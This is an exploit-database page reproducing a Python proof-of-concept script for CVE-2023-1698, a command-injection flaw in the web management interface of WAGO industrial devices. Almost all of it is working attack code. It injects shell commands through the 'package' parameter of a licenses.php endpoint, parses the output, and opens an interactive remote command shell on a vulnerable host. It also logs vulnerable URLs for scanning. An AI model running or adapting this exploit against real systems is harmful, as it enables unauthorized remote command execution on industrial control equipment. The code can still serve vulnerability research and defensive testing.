Exploit databaseDownload repository ZIP
GH-7450304ea8e2af47625faeb2cffa21ce
x3rx3ssec/cve-2023-1698
Sources for CVE-2023-1698
5 sourcesPreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source
Repository files5
x3rx3ssec/cve-2023-1698Revision 475bf574ad3d
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
wago_exploit.py
Python · 6,023 bytesimport re
import os
import json
import argparse
import warnings
import requests
from colorama import Fore, Back, Style
# Initialize colorama
warnings.simplefilter('ignore', requests.packages.urllib3.exceptions.InsecureRequestWarning)
def print_banner():
banner = f"""{Fore.GREEN}
__________________________________________________________________________________________________
| == |
| ======= |
| =============== |
| ========= . |
| ========= |
| ======== ========- ========= .============= ==================== ==================== |
| =======- =========- ========= =============== ==================== ====================. |
| =======- ==========-.========: ================ ==================== ====================. |
| ============================ =========.======= ==================== ====================. |
| =========================== ========= .======= =======- ---------- ======== =======. |
| ========================== .========- .======= =======- ========== ======== =======. |
| ========================= -======== .======= =======- -======= ======== =======. |
| ===========.:==========: ====================== ==================== ====================. |
| ========== :========= ======================= ==================== ====================. |
| ========= :======== ========= :======= ==================== ==================== |
| .========= |
| -============== PoC for CVE-2023-1698 by X3RX3S |
| ========= |
| === Insta @mindfuckerrrr |
| github.com/X3RX3SSec |
|_________________________________________________________________________________________________|
{Style.RESET_ALL}"""
print(banner)
def send_request(base_url, command='id'):
payload = {"package": f";echo -n [; echo -n S];{command}; echo [E];#"}
headers = {
'Content-Type': 'application/x-www-form-urlencoded',
}
response = requests.post(
f"{base_url}/wbm/plugins/wbm-legal-information/platform/pfcXXX/licenses.php",
headers=headers,
data=json.dumps(payload),
verify=False,
timeout=5
)
return response
def check_vulnerability(url, response, output_file=None, single_url_mode=False, interactive_mode=False):
formatted_output = response.text.replace('\\/', '/')
pattern = re.compile(r'\[S\](.*?)\[E\]', re.DOTALL)
match = pattern.search(formatted_output)
if match:
extracted_content = match.group(1).encode().decode('unicode_escape')
if interactive_mode:
print(f"{Fore.WHITE}\n{extracted_content}{Style.RESET_ALL}")
else:
print(f"{Fore.RED}[+] {url} is vulnerable {Style.RESET_ALL}\n{Fore.WHITE}[-] Extracted Output:{Style.RESET_ALL} {Fore.BLUE}{extracted_content}{Style.RESET_ALL}")
if output_file and not single_url_mode:
with open(output_file, 'a') as file:
file.write(url + '\n')
return True
elif single_url_mode:
print(f"{Fore.GREEN}[+] {url} is not vulnerable to CVE-2023-1698.{Style.RESET_ALL}")
return False
def check_url(url, output_file, single_url_mode=False):
try:
response = send_request(url)
if check_vulnerability(url, response, output_file, single_url_mode):
if single_url_mode:
while True:
try:
command = input(f"{Fore.CYAN}# {Style.RESET_ALL}")
if "exit" in command:
raise KeyboardInterrupt
elif not command:
continue
elif "clear" in command:
os.system('cls' if os.name == 'nt' else 'clear')
continue
if command.lower() in ["exit", "quit"]:
break
response = send_request(url, command)
check_vulnerability(url, response, output_file, single_url_mode=True, interactive_mode=True)
except KeyboardInterrupt:
print(f"{Fore.GREEN}[!] Exiting shell...{Style.RESET_ALL}")
return None
except requests.exceptions.RequestException:
print(f"{Fore.RED}[-] Connection Error{Style.RESET_ALL}") if single_url_mode else None
return False
def main():
print_banner()
parser = argparse.ArgumentParser(description='CVE-2023-1698 Exploit')
parser.add_argument('-u', '--url', type=str, help='The base url for the requests', required=False)
parser.add_argument('-t', '--threads', type=int, help='Number of threads to use', default=100)
parser.add_argument('-o', '--output', type=str, help='File to output vulnerable urls')
args = parser.parse_args()
if args.url:
check_url(args.url, args.output, single_url_mode=True)
else:
print(f"{Fore.MAGENTA}I Can't do much without an URL :).{Style.RESET_ALL}")
if __name__ == "__main__":
main()